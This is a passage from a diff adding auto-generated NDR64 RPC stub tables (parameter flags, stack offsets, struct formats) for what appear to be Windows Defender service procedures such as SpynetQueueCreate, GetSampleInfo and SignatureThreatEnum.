/* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag618_t __midl_frag618 = +{ +/* Proc59_ServerMpRpcSpynetQueueQueryNotification */ + { + /* Proc59_ServerMpRpcSpynetQueueQueryNotification */ /* procedure Proc59_ServerMpRpcSpynetQueueQueryNotification */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 132 /* 0x84 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag1140, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1142, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag609_t __midl_frag609 = +{ +/* Proc58_ServerMpRpcSpynetQueueCreate */ + { + /* Proc58_ServerMpRpcSpynetQueueCreate */ /* procedure Proc58_ServerMpRpcSpynetQueueCreate */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag36, + { + /* arg_3 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1288, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag604_t __midl_frag604 = +{ +/* *Struct_16_t */ + { + /* *Struct_16_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *Struct_16_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag669 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag36 + } +}; + +static const __midl_frag603_t __midl_frag603 = +{ +/* *Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag604 +}; + +static const __midl_frag600_t __midl_frag600 = +{ +/* Proc57_ServerMpRpcDropScansWithSamples */ + { + /* Proc57_ServerMpRpcDropScansWithSamples */ /* procedure Proc57_ServerMpRpcDropScansWithSamples */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag604, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag596_t __midl_frag596 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag595_t __midl_frag595 = +{ +/* *Struct_16_t */ + { + /* *Struct_16_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *Struct_16_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag596 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag36 + } +}; + +static const __midl_frag594_t __midl_frag594 = +{ +/* *Struct_16_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag595 +}; + +static const __midl_frag593_t __midl_frag593 = +{ +/* **Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag594 +}; + +static const __midl_frag589_t __midl_frag589 = +{ +/* Proc56_ServerMpRpcQueryScansWithSamples */ + { + /* Proc56_ServerMpRpcQueryScansWithSamples */ /* procedure Proc56_ServerMpRpcQueryScansWithSamples */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag593, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag585_t __midl_frag585 = +{ +/* */ + { + /* **Struct_1682_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag576 + } +}; + +static const __midl_frag584_t __midl_frag584 = +{ +/* *Struct_1682_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag578 +}; + +static const __midl_frag583_t __midl_frag583 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag578_t __midl_frag578 = +{ +/* Struct_1682_t */ + { + /* Struct_1682_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1682_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */, + 0, + 0, + &__midl_frag583, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag576_t __midl_frag576 = +{ +/* **Struct_1682_t */ + { + /* **Struct_1682_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_1682_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag964 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_1682_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag578 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag584 + } +}; + +static const __midl_frag575_t __midl_frag575 = +{ +/* Struct_1740_t */ + { + /* Struct_1740_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1740_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag585, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag574_t __midl_frag574 = +{ +/* *Struct_1740_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag575 +}; + +static const __midl_frag573_t __midl_frag573 = +{ +/* **Struct_1740_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag574 +}; + +static const __midl_frag570_t __midl_frag570 = +{ +/* Proc55_ServerMpRpcGetSampleInfo */ + { + /* Proc55_ServerMpRpcGetSampleInfo */ /* procedure Proc55_ServerMpRpcGetSampleInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag573, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag564_t __midl_frag564 = +{ +/* Proc54_ServerMpRpcSignatureThreatClose */ + { + /* Proc54_ServerMpRpcSignatureThreatClose */ /* procedure Proc54_ServerMpRpcSignatureThreatClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag556_t __midl_frag556 = +{ +/* Proc53_ServerMpRpcSignatureThreatEnum */ + { + /* Proc53_ServerMpRpcSignatureThreatEnum */ /* procedure Proc53_ServerMpRpcSignatureThreatEnum */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + 